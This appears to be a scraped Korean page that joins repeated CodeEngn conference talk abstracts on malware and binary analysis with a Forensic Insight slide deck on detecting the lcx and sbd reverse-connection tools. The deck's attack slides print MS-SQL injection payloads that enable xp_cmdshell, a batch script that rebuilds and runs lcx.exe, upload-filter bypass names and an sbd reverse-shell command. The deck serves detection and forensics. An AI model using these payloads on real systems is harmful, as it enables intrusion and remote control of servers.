[2011 CodeEngn Conference 05] daly25 - 파일바이러스 분석 및 치료로직 개발GangSeok Lee
2011 CodeEngn Conference 05
FileVirus(FV)는 정상파일들을 악성코드로 감염시키기는 감염형 바이러스이다. FV는 일반적인 바이러스 치료방법(삭제)보다는 원래의 정상파일로 복원하여 치료해야한다. 이에 본 발표에서는 치료로직 개발에 필요한 FV 감염구조들에 대해 알아보고, 각 감염구조에 따른 악성코드 분석 및 치료로직 개발 방법에 대해 알아보도록 한다.
http://codeengn.com/conference/05
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to WinGangSeok Lee
2011 CodeEngn Conference 05
1989년 국산 부트 바이러스인 LBC 바이러스에 감염되어 하드디스크 부팅이 안되는 문제가 전국에서 발생했다. 이렇게 부팅 문제가 발생할 수 있는 부트 바이러스는 윈도우 95가 본격 보급되기 시작한 1990년 대 중반까지 쉽게 볼 수 있었다. 이후 윈도우 시대가 본격 열리고 플로피 디스크 사용이 줄어들면서 사실상사라진다. 하지만, 최근 기억속에 잊혀진 부트 바이러스가 윈도우 시대에 맞게 변화해 부활의 조짐이 있다. 대표적 디스크입출력 악성코드를 정리해보고 이를 가능하게 한 도스와 윈도우 부팅과정 및 윈도우 프로그램에서 디스크 입출력 방법을 알아보자.
http://codeengn.com/conference/05
2014 CodeEngn Conference 11
안드로이드에서의 부트킷 동작방식 알아보기
부트킷 악성코드는 부팅 과정에서 악성코드를 감염시켜 악성코드가 실행 시 자신의 존재를 숨겨 백신에서 악성코드의 탐지와 치료를 어렵게 하기위해 사용되는 방식이다. 이러한 Oldboot 부트킷 악성코드가 올해초 2014년 1월에 안드로이드에서 발견되었다. 따라서 본 발표에서는 이 안드로이드 상에서 사용된 부트킷의 동작 방식과 특이점에 대해서 다룰 예정이다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석GangSeok Lee
2014 CodeEngn Conference 11
DTrace를 보안 관점에서 활용해보자!
DTrace 프레임워크는 솔라리스 기반으로 개발된 동적 추적 프레임워크로 현재 Solaris, Mac OS X, BSD 등에 적용되고 있다. 프레임워크는 운영체제 개발 시점에 커널에 통합된 프레임워크로 사용자 및 커널 레벨의 다양한 정보(메모리나 CPU, 파일시스템, 네트워크 자원의 모니터링이나 특정 함수의 인자 추적 등)를 동적으로 분석할 수 있게 하여 애플리케이션 테스팅에 주로 활용되고 있다. 이러한 장점을 활용하여 최근에는 보안 관점에서 프레임워크를 사용하는 경우가 늘어나고 있다. 퍼징 모니터링이나, 바이너리 동적 분석과 같은 취약점 분석, 악성코드 동적 분석, 루트킷 개발이 한 예이다. 본 발표에서는 DTrace가 무엇인지 살펴보고, 윈도우의 filemon의 기능을 구현해보도록 한다. 이 발표를 통해 분석가에게 생소할 수 있는 Mac OS X의 바이너리 분석에 도움이 될 것이라 생각한다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
[2011 CodeEngn Conference 05] daly25 - 파일바이러스 분석 및 치료로직 개발GangSeok Lee
2011 CodeEngn Conference 05
FileVirus(FV)는 정상파일들을 악성코드로 감염시키기는 감염형 바이러스이다. FV는 일반적인 바이러스 치료방법(삭제)보다는 원래의 정상파일로 복원하여 치료해야한다. 이에 본 발표에서는 치료로직 개발에 필요한 FV 감염구조들에 대해 알아보고, 각 감염구조에 따른 악성코드 분석 및 치료로직 개발 방법에 대해 알아보도록 한다.
http://codeengn.com/conference/05
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to WinGangSeok Lee
2011 CodeEngn Conference 05
1989년 국산 부트 바이러스인 LBC 바이러스에 감염되어 하드디스크 부팅이 안되는 문제가 전국에서 발생했다. 이렇게 부팅 문제가 발생할 수 있는 부트 바이러스는 윈도우 95가 본격 보급되기 시작한 1990년 대 중반까지 쉽게 볼 수 있었다. 이후 윈도우 시대가 본격 열리고 플로피 디스크 사용이 줄어들면서 사실상사라진다. 하지만, 최근 기억속에 잊혀진 부트 바이러스가 윈도우 시대에 맞게 변화해 부활의 조짐이 있다. 대표적 디스크입출력 악성코드를 정리해보고 이를 가능하게 한 도스와 윈도우 부팅과정 및 윈도우 프로그램에서 디스크 입출력 방법을 알아보자.
http://codeengn.com/conference/05
2014 CodeEngn Conference 11
안드로이드에서의 부트킷 동작방식 알아보기
부트킷 악성코드는 부팅 과정에서 악성코드를 감염시켜 악성코드가 실행 시 자신의 존재를 숨겨 백신에서 악성코드의 탐지와 치료를 어렵게 하기위해 사용되는 방식이다. 이러한 Oldboot 부트킷 악성코드가 올해초 2014년 1월에 안드로이드에서 발견되었다. 따라서 본 발표에서는 이 안드로이드 상에서 사용된 부트킷의 동작 방식과 특이점에 대해서 다룰 예정이다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석GangSeok Lee
2014 CodeEngn Conference 11
DTrace를 보안 관점에서 활용해보자!
DTrace 프레임워크는 솔라리스 기반으로 개발된 동적 추적 프레임워크로 현재 Solaris, Mac OS X, BSD 등에 적용되고 있다. 프레임워크는 운영체제 개발 시점에 커널에 통합된 프레임워크로 사용자 및 커널 레벨의 다양한 정보(메모리나 CPU, 파일시스템, 네트워크 자원의 모니터링이나 특정 함수의 인자 추적 등)를 동적으로 분석할 수 있게 하여 애플리케이션 테스팅에 주로 활용되고 있다. 이러한 장점을 활용하여 최근에는 보안 관점에서 프레임워크를 사용하는 경우가 늘어나고 있다. 퍼징 모니터링이나, 바이너리 동적 분석과 같은 취약점 분석, 악성코드 동적 분석, 루트킷 개발이 한 예이다. 본 발표에서는 DTrace가 무엇인지 살펴보고, 윈도우의 filemon의 기능을 구현해보도록 한다. 이 발표를 통해 분석가에게 생소할 수 있는 Mac OS X의 바이너리 분석에 도움이 될 것이라 생각한다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다GangSeok Lee
2014 CodeEngn Conference 10
열혈 취약점 헌터들의 고분군투기!
취약점을 찾게되면 어떤 일이 벌어질까? 급전이 필요한 외롭고 찌질한 대한민국 해커들의 급전을 위한 취약점 찾기 여행기. 과연 우리는 취약점을 찾고 급전을 만들어 외롭고 찌질한 이 상황을 타개할 수 있을 것인가?
http://codeengn.com/conference/10
http://codeengn.com/conference/archive
Baekjoon Online Judge(https://www.acmicpc.net) 에서 채점할 때 사용하는 샌드박스에 대한 간단한 설명을 담고 있습니다.
2012년 10월에 작성한 파일이라서 현재 사용하는 방식과는 많은 차이가 있고, 기초적인 수준의 샌드박싱을 다룹니다.
1. FORENSIC INSIGHT;
DIGITAL FORENSICS COMMUNITY IN KOREA
Reverse Connection Tool Analysis
How to write detection pattern of attacker’s tool
malwarel4b
demantos@gmail.com
http://malwarel4b.blogspot.kr
http://malwarelab.tistory.com/
Cho Hoon
4. forensicinsight.org Page 4
Attack Scenario
어떤걸 업로드하는가?
• Webshell (asp, aspx, jsp, php, inc, html, cer 등)
• bat, exe 등
업로드 되는 파일에 대한 검증 매카니즘
• Whitelist : 허용된 확장자만 업로드 가능
• Blacklist : 허용되지 않은 확장자 지정
• 웹쉘 확장자는 몇 가지 형태로 정해져 있으며 보통 Blacklist를 사용하여 차단
우회 방법 다양함 a.jpg.aps, a.jpg;a.asp, a.php.jpg
웹쉘을 차단하기 위해서 exe나 bat 확장자는 차단하지 않는 경우가 많음
• 파일의 처음 4~8바이트 정도만 확인해서 차단
파일 시그니처 (GIF39a, JFIF, %PNG 등)
Upload Vulnerability
5. forensicinsight.org Page 5
Attack Scenario
파일 업로드 후에는?
• 업로드 경로 찾아야 함 guessing, File download 취약점 이용
업로드 폴더에 실행 권한이 제거되어 있는 경우에는?
Upload Vulnerability
6. forensicinsight.org Page 6
Attack Scenario
But, 업로드 취약점만으로는 부족하다!!
• 원하는 파일 업로드도 잘 되었고
• 업로드된 파일의 경로도 찾았고
• 그럼, 실행만 시키면 된다.
웹서버를 통해 서버의 파일을 서버상에서 실행시킬려면?
• 웹쉘을 이용하는게 가장 쉽고
• SQL Injection을 이용한다.
Upload Vulnerability
7. forensicinsight.org Page 7
Attack Scenario
전세계적으로 가장 많이 언급되고 전세계적으로 가장 많이 보호 메커니즘을 적용하지만
여전히 취약한 사이트가 많아서 공격자들이 자주 애용하는 공격 기법
SQL Injection을 통해 시스템 명령 실행
• xp_cmdshell
MS-SQL 2005부터는 기본으로 비홗성화 그렇다고 포기할 HACKER들이 아니다!!
SP_ADDEXTENDEDPROC과 SP_CONFIGURE 프로시저를 통해 홗성화 가능
• SP_Oacreate, SP_OAMETHOD
OLE 개체의 인스턴스 생성
OLE 개체의 메쏘드 호출
SQL Injection
8. forensicinsight.org Page 8
Attack Scenario
xp_cmdshell 홗성화
• ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell',
1 ; reconfigure;--
• ; exec master.dbo.xp_cmdshell 'system command';--
• xp_cmdshell 자체를 비홗성화하거나 삭제할 경우
http://support.microsoft.com/kb/891984/en-us
SP_OAcreate, SP_OAMETHOD
• xp_cmdshell에 대한 권한이 막혀 있거나 아예 삭제된 경우
• ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD
@o,'run',null, 'system command';--
SQL Injection
9. forensicinsight.org Page 9
Attack Scenario
업로드 파일에 대한 whitelist 정책을 사용해서 파일 업로드가 앆되면?
But, SQL Injection은 된다면?
• EXE TO TEXT를 이용해서 바이너리 파일을 텍스트 형태로 만들어서 생성하거나
• Batch 파일에 공격자가 준비한 FTP를 통해 파일을 다운로드해서 실행하게 하면 된다.
EXE TO TEXT
10. forensicinsight.org Page 10
Attack Scenario
But, EXE TO TEXT를 통해 추출한 값을 SQL Injection으로 만드는 건 쉬운 일이 아니다.
• lcx.exe (32Kbyte)를 EXE TO TEXT로 변홖하니 2056 라인으로 변홖됨
• 즉, SQL Injection을 2056번 때려야 함 힘들고 지겨움
• 결국, Batch 파일 만들어서 다운로드하게 하는게 속 편함
변홖된 값은 임시 파일로 만든 후 debug 명령을 통해서 실행 파일로 변홖
EXE TO TEXT
echo off
echo n Ashiyane > Q7X
echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X
echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X
...snip...
echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X
echo e 8100 0 >> Q7X
echo rcx >> Q7X
echo 8000 >> Q7X
echo w >> Q7X
echo q >> Q7X
debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
20. forensicinsight.org Page 20
Analyze lcx(aka htran) traffic
정상접속과 lcx를 이용한 Reverse Connection의 차이점
• TCP Window size가 일반적인 접속과 다르다. (Window size=65535)
• Payload는 같지만 SRC Port와 DST Port가 뒤집어져 있다.
운영체제별 TTL 값과 TCP Window size
Analyze Network Packet
Operating System (OS) IP Initial TTL TCP window size
Linux (Kernel 2.4 and 2.6) 64 5840
Google’s customized Linux 64 5720
FreeBSD 64 65535
Windows XP 128 65535 -> ?????
Windows 7, Vista and Server 2008 128 8192
Cisco Router (IOS 12.4) 255 4128
<출처> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
21. forensicinsight.org Page 21
Analyze lcx(aka htran) traffic
실제 테스트해보니 Windows XP의 TCP Window size가 64240이었다.
Analyze Network Packet
XP -> Linux
XP -> Win 2003
7 -> Linux
7 -> Win 2003
Win 2003 -> Linux
Win 2003 -> Win 2003
22. forensicinsight.org Page 22
Analyze lcx(aka htran) traffic
만약 공격자가 Windows 2003 서버를 자신의 PC에 설치해서 사용한다면?
만약 공격자가 장악한 또 다른 Windows 2003 서버에서 공격하는 것이라면?
• TCP Windows size로 탐지하는 것은 의미가 없다.
패킷의 페이로드만으로는 탐지가 불가능하다.
• Port 번호와 Flow만 다를 뿐 정상적인 TPKT, RDP 통신과 페이로드가 동일하기 때문
그럼 어떻게? How?
• 여러 가지 조건을 두고 만족하는 경우 탐지하게끔 패턴을 작성 SNORT
Writing Detect Pattern
23. forensicinsight.org Page 23
Analyze lcx(aka htran) traffic
lcx Reverse Connection을 탐지하기 위한 조건
• 내부 -> 외부 SYN 패킷의 Window size가 65535인 경우 (A)
• 외부 -> 내부 트래픽 중 TPKT 패킷에서 DST Port가 3389가 아닌 경우 (B)
위 두 조건이 순서대로 모두 만족할 때 탐지하면 된다.
Q. TPKT 패킷인데 DST Port가 3389가 아닌 경우가 정상일 수 있을까?
Writing Detect Pattern
25. forensicinsight.org Page 25
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd는 netcat의 클론으로 기본으로 암호화 기능을 제공한다.
• 그리고 소스도 공개되어 있다.
http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
그렇다면, Packet을 분석해서 탐지 패턴을 작성할 수 있는가?
• 작성된 패턴이 오탐 없이 의미 있는 일을 수행할 수 있는가?
• sbd를 통해 Reverse Connection 연결시 특징은 졲재하는가?
다른 네트워크 연결들과 다른 sbd만 갖는 특징이 있다면 오탐을 최소한으로 줄이고 탐지하는 것
이 가능하다.
Attack Flow
attacker> sbd -l -v -p 6666
victim> sbd -e cmd.exe attacker 6666
28. forensicinsight.org Page 28
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd로 Reverse Connection을 맺을 경우에도 특징이 졲재했다.
대략 20번 정도 테스트했고 Windows에서만 테스트 했다.
Victim이 리눅스인 경우 위 Flow 중 4,5번째는 없다.
• 윈도우에서는 cmd.exe 실행시 나타나는 배너가 졲재하지만 /bin/bash로 reverse connection을
할 경우 배너 메시지가 없기 때문임
Analyze Network Packet
29. forensicinsight.org Page 29
Analyze sbd(Shadowinteger’s Backdoor) traffic
소스코드를 확인해보면 pel.c 파일에 최초 연결시 클라이언트(Victim)에서 IV(Initial
Vector)를 생성해서 전송하는데 이때 전송되는 데이터의 크기가 40bytes이다.
Dig into Source Code
30. forensicinsight.org Page 30
Analyze sbd(Shadowinteger’s Backdoor) traffic
서버(Attacker)는 클라이언트에게서 전송된 40bytes의 Initial Vector를 수신해서
Session Key를 설정한다.
공격자가 소스코드를 수정하지 않는 이상 전송되는 40bytes를 탐지 조건으로 사용 가능
Dig into Source Code
31. forensicinsight.org Page 31
Analyze sbd(Shadowinteger’s Backdoor) traffic
세션키 교홖 후 클라이언트와 서버는 Handshake 과정을 통해 연결을 맺는다.
Dig into Source Code
pel_client_init
pel_server_init
32. forensicinsight.org Page 32
Analyze sbd(Shadowinteger’s Backdoor) traffic
각각 52bytes씩 주고 받으며 16바이트 연산 후 나머지 데이터를 연산해서 전송
Dig into Source Code
33. forensicinsight.org Page 33
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd는 기본적으로 암호화 통신을 제공하며 공격자 입장에서는 상당히 매력적인 기능이
기 때문에 굳이 암호화 기능을 해제하고 사용하지 않을 것이다.
• 즉, 암호화되기 때문에 Payload로 탐지하는 것은 불가능
sbd의 가장 큰 특징은
• 3way Handshake 이후 클라이언트(Victim)에서 서버(Attacker)로 40byte의 데이터를 젂송
• 클라이언트에서 서버로 52byte 데이터 젂송
• 서버에서 클라이언트로 52byte 데이터 젂송
Writing Detect Pattern
34. forensicinsight.org Page 34
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd Reverse Connection을 탐지하기 위한 조건
• 3가지 조건이 순차적으로 매칭될 경우에만 탐지하도록 패턴 작성
SNORT flowbits 옵션 사용
Writing Detect Pattern
36. forensicinsight.org Page 36
Event Log
침해사고조사 관점에서 볼 경우
• lcx나 sbd 파일의 생성 시간과 웹로그 등을 확인해서 파일이 어떤 경로를 통해 업로드 또는 생성
되었는지는 확인이 가능하지만 언제 접속(Reverse Connection) 했었는지 파일만 가지고는 확인
이 불가능하다.
• lcx의 경우 원격 터미널 접속을 하기 때문에 이벤트 로그에 흔적이 남는다.
• sbd는 cmd.exe만 실행해서 Reverse Connection을 맺기 때문에 흔적이 남지 않는다.
• UserAssist나 Prefetch(App Prefetch가 설정되어 있다면)와 같은 정보를 통해 실행된 횟수나 실행
된 시간을 짐작할 수도 있다.
37. forensicinsight.org Page 37
Event Log
lcx를 통해 Reverse Connection을 맺을 경우
• 680 : Account Used for Logon by
• 552 : 이미 다른 사용자가 로그온한 상태에서 명시적 자격 증명을 사용해서 로그온 시도
• 528 : 로그온 성공
• 576 : 권한 부여
• 682 : 세션 재연결
• Event ID 552나 682의 경우 기졲에 연결했던 사용자가 로그오프 하지 않고 세션만 끊은 상태에
서 접속할 경우 발생되는 이벤트 로그로 실제 발생하지 않을 수도 있다.
38. forensicinsight.org Page 38
Event Log
Event ID 528은 로그온 성공 메시지로 로그온 유형과 원본 네트워크 주소를 확인할 수
있다.
• 로그온 유형 10은 원격으로 대화형 모드로 로그온하는 것을 의미한다. (RemoteInteractive)
• 원격에서 로그온하는데 원본네트워크주소가 로컬호스트(127.0.0.1)인 것은 이상하다.
원본네트워크주소가 127.0.0.1이라면 로그온 유형이 2이어야 한다.
39. forensicinsight.org Page 39
Event Log
세션을 끊거나 재연결시 발생되는 이벤트 로그에는 클라이언트 이름과 클라이언트 주소
가 남는다.
공격자가 원격 터미널 접근시 mstsc 127.0.0.1:5555와 같은 형태가 아닌 공격자 자신의
실제 IP를 사용하더라도 이벤트 로그에는 클라이언트 주소가 127.0.0.1로 로깅된다.